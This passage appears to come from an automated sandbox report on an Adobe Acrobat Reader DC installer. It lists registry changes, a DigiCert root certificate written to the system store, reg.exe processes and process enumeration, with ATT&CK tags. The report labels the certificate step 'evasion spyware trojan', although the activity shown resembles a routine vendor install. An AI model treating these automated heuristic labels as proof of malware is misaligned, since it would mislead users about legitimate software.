Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}\Policy = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\AcroCEF"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}\AppName = "Acrobat.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD57A9B2-4E7D-4892-9107-9F4106472DA4}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{76E2369A-75BA-41F9-8B9E-16059E5CF9A6}\AppPath = "C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\AcroLicApp.exe = "11000"	msiexec.exe

Modifies data under HKEY_USERS 21 IoCs

Processes:

MsiExec.exemsiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	MsiExec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = 6024b221ea3a6910a2dc08002b30309dac0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\1F	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\21	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\21	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\1E\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1f	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000dd33bbad039ed901	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\20	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\20	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\23	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000fbceb8ad039ed901	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\22	msiexec.exe

Modifies registry class 64 IoCs

Processes:

msiexec.exeMsiExec.exeMsiExec.exeMsiExec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FD9A54C1-7C89-4EDE-A493-2FB4F6BDEB19}\TypeLib\Version = "1.1"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5AAABB05-F91B-4bce-AB18-D8319DEDABA8}\VersionIndependentProgID	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\DocObject\	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroBroker.Broker\CurVer\ = "AcroBroker.Broker.1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{FD888B93-6CBF-4A6E-ADCB-652F5E04D0D7}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{EB992715-BDDD-426C-BEC5-F91698E16389}\ProxyStubClsid32	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{41C5FFFE-36DD-415D-9ED0-2976A342A1C8}\1.0	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BD57A9B2-4E7D-4892-9107-9F4106472DA4}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\MiscStatus	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{9B4CD3F0-4981-101B-9CA8-9240CE2738AE}\ProxyStubClsid	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{46B89F5A-769D-4792-AD9A-E3755915CBC3}\TypeLib\ = "{47A7A4B0-2723-41BA-865E-EBBB7081A602}"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\acrobat2018\shell\open\ddeexec	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F0FCBE75-3867-41D9-BE5F-DC0287F4CB92}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{564CF8B7-AF59-4ACA-9641-0294FA30C041}\TypeLib	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.api\OpenWithProgids\Acrobat.Plugin = "0"	MsiExec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}	MsiExec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{671B6145-4169-4ADD-9AF3-E6990EB2B325}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Acrobat.FDFDoc\shell\Open\ = "Ouvrir avec Adobe Acrobat\u00a0DC"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00FFD6C4-1A94-44BC-AD3E-8AC18552E3E6}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2EAF0840-690A-101B-9CA8-9240CE2738AE}\ = "AcroExch.PDBookmark"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{EE490A9F-1F32-4EF4-9EA5-430AFAB362FA}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\AcroExch.HiliteList.1\CLSID	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{123FCDEB-862C-41BE-A256-19CFF2CA2F44}\TypeLib	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{47721AF1-B0FC-4911-A009-D2B30ED42639}\TypeLib\Version = "1.1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\acrobat2019\shell\open\ddeexec\application	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\Programmable\	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DC6EFB56-9CFA-464D-8880-44885D7DC193}\DisplayName = "@C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\pdfprevhndlr.dll,-101"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{9B4CD3E6-4981-101B-9CA8-9240CE2738AE}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Acrobat.XDPDoc\shell\Print	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xdp\OpenWithProgids\Acrobat.XDPDoc = "0"	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{CD60A736-62F6-4194-97D0-45F444D9E813}\TypeLib\Version = "1.1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{74A13FDD-9BCF-4229-9CAB-0079A5E17A25}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}\	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFPrevHndlr.PDFPreviewHandler.1\ = "Adobe PDF Preview Handler for Vista"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{F9F2FE81-F764-4BD0-AFA5-5DE841DDB625}\ProxyStubClsid	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.pdfxml\OpenWithProgids	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroBroker.Broker\CLSID\ = "{BD57A9B2-4E7D-4892-9107-9F4106472DA4}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{18AED83F-B7B1-4992-B9E1-D291B1E5E0B4}\TypeLib	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Patches	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Patches\68AB67CA044AFFFF4A24CB7130E49E00\SourceList\PackageName = "AcroRdrDCx64Upd2300320201.msp"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.xdp\Acrobat.XDPDoc\ShellNew	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9B4CD3E9-4981-101B-9CA8-9240CE2738AE}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D3F22039-E3CF-4FC4-9A30-426A46056B8C}\ProxyStubClsid32	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{81F9B44F-BA3A-4F5D-9B51-090C74A9B3A4}	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroBroker.Broker.1	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\AcroRD32.exe\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1ACFD784-DE28-47E2-B5F7-8602EC765AF3}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{47721AF1-B0FC-4911-A009-D2B30ED42639}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C6D987BC-1266-400B-8D09-EB47A3B1D374}\ = "COutlookCOMAddInProxy"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.XDPDoc\CLSID	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FD888B93-6CBF-4A6E-ADCB-652F5E04D0D7}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9B4CD3EC-4981-101B-9CA8-9240CE2738AE}\ = "CAcroPoint"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{7EA23D88-569E-4EFD-9851-A1528A7745F9}\NumMethods	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\MIME\Database\Content Type\application/vnd.adobe.xdp+xml	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\MiscStatus\1\ = "131473"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{757633C4-6393-4DD8-BF7B-05F299A3600F}	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.bpdx\OpenWithProgids	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0C52A2CC-66F1-4B2B-A9E4-9723791F0BBD}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "Acrobat.Document.DC"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C6D987BC-1266-400B-8D09-EB47A3B1D374}\ProxyStubClsid32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\acrobat2020\shell\open\ddeexec\application\ = "AcroViewA23"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2DEA7885-1846-411F-A41E-017A8FD778FF}	msiexec.exe

Modifies registry key 1 TTPs 8 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

3896 reg.exe
1392 reg.exe
2700 reg.exe
412 reg.exe
4340 reg.exe
4288 reg.exe
2176 reg.exe
2340 reg.exe

pid	process
3896	reg.exe
1392	reg.exe
2700	reg.exe
412	reg.exe
4340	reg.exe
4288	reg.exe
2176	reg.exe
2340	reg.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

readerdc64_fr_xa_mdr_install.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	readerdc64_fr_xa_mdr_install.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	readerdc64_fr_xa_mdr_install.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	readerdc64_fr_xa_mdr_install.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	readerdc64_fr_xa_mdr_install.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	readerdc64_fr_xa_mdr_install.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exereaderdc64_fr_xa_mdr_install.exeMsiExec.exeMsiExec.exeMsiExec.exeADelRCP.exeSingleClientServicesUpdater.exeMsiExec.exeMsiExec.exemsedge.exemsedge.exepowershell.exepowershell.exepowershell.exeSystemIdle.SystemIdle

pid	process
1924	powershell.exe
1924	powershell.exe
224	readerdc64_fr_xa_mdr_install.exe
224	readerdc64_fr_xa_mdr_install.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
4868	MsiExec.exe
4868	MsiExec.exe
1920	ADelRCP.exe
1920	ADelRCP.exe
4868	MsiExec.exe
4868	MsiExec.exe
1400	SingleClientServicesUpdater.exe
1400	SingleClientServicesUpdater.exe
2508	MsiExec.exe
2508	MsiExec.exe
2508	MsiExec.exe
2508	MsiExec.exe
2508	MsiExec.exe
2508	MsiExec.exe
2508	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
3232	msedge.exe
3232	msedge.exe
5072	msedge.exe
5072	msedge.exe
1256	powershell.exe
1256	powershell.exe
2656	powershell.exe
2656	powershell.exe
2656	powershell.exe
